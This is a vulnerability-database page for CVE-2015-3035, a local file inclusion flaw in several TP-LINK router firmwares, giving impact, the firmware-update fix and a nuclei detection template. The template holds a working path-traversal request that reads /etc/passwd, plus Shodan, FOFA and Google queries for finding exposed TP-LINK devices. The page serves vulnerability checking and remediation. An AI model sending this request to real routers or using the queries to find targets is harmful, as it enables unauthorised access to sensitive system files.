HexBrain

Browse / CVEs / CVE-2015-3035

CVE-2015-3035· tp-link / tl-wr841n \(9.0\) firmware· CWE-22

TP-LINK - Local File Inclusion

Exploited in the wild. Listed by CISA on 2022-03-25; known to be used by ransomware.

highseverity
7.8CVSS score
83.9%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

TP-LINK is susceptible to local file inclusion in these products: Archer C5 (1.2) with firmware before 150317, Archer C7 (2.0) with firmware before 150304, and C8 (1.0) with firmware before 150316, Archer C9 (1.0), TL-WDR3500 (1.0), TL-WDR3600 (1.0), and TL-WDR4300 (1.0) with firmware before 150302, TL-WR740N (5.0) and TL-WR741ND (5.0) with firmware before 150312, and TL-WR841N (9.0), TL-WR841N (10.0), TL-WR841ND (9.0), and TL-WR841ND (10.0) with firmware before 150310. Because of insufficient input validation, arbitrary local files can be disclosed. Files that include passwords and other sensitive information can be accessed.

Impact

An attacker can read sensitive files on the TP-LINK router, potentially leading to unauthorized access or disclosure of sensitive information.

Fix

Apply the latest firmware update provided by TP-LINK to fix the local file inclusion vulnerability.

How to confirm it

Send: GET {{BaseURL}}/login/../../../etc/passwd
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2015-3035 -u <target>

The full check
id: CVE-2015-3035

info:
  name: TP-LINK - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    TP-LINK is susceptible to local file inclusion in these products: Archer C5 (1.2) with firmware before 150317, Archer C7 (2.0) with firmware before 150304, and C8 (1.0) with firmware before 150316, Archer C9 (1.0), TL-WDR3500 (1.0), TL-WDR3600 (1.0), and TL-WDR4300 (1.0) with firmware before 150302, TL-WR740N (5.0) and TL-WR741ND (5.0) with firmware before 150312, and TL-WR841N (9.0), TL-WR841N (10.0), TL-WR841ND (9.0), and TL-WR841ND (10.0) with firmware before 150310.  Because of insufficient input validation, arbitrary local files can be disclosed. Files that include passwords and other sensitive information can be accessed.
  impact: |
    An attacker can read sensitive files on the TP-LINK router, potentially leading to unauthorized access or disclosure of sensitive information.
  remediation: |
    Apply the latest firmware update provided by TP-LINK to fix the local file inclusion vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2015/Apr/26
    - https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150410-0_TP-Link_Unauthenticated_local_file_disclosure_vulnerability_v10.txt
    - http://www.tp-link.com/en/download/TL-WDR3600_V1.html#Firmware
    - https://nvd.nist.gov/vuln/detail/CVE-2015-3035
    - http://www.tp-link.com/en/download/Archer-C5_V1.20.html#Firmware
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:N/A:N
    cvss-score: 7.8
    cve-id: CVE-2015-3035
    cwe-id: CWE-22
    epss-score: 0.83948
    epss-percentile: 0.99696
    cpe: cpe:2.3:o:tp-link:tl-wr841n_\(9.0\)_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: tp-link
    product: tl-wr841n_\(9.0\)_firmware
    shodan-query:
      - http.title:"TP-LINK"
      - http.title:"tp-link"
    fofa-query: title="tp-link"
    google-query: intitle:"tp-link"
  tags: cve2015,cve,router,lfi,seclists,tplink,kev,tp-link,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/login/../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from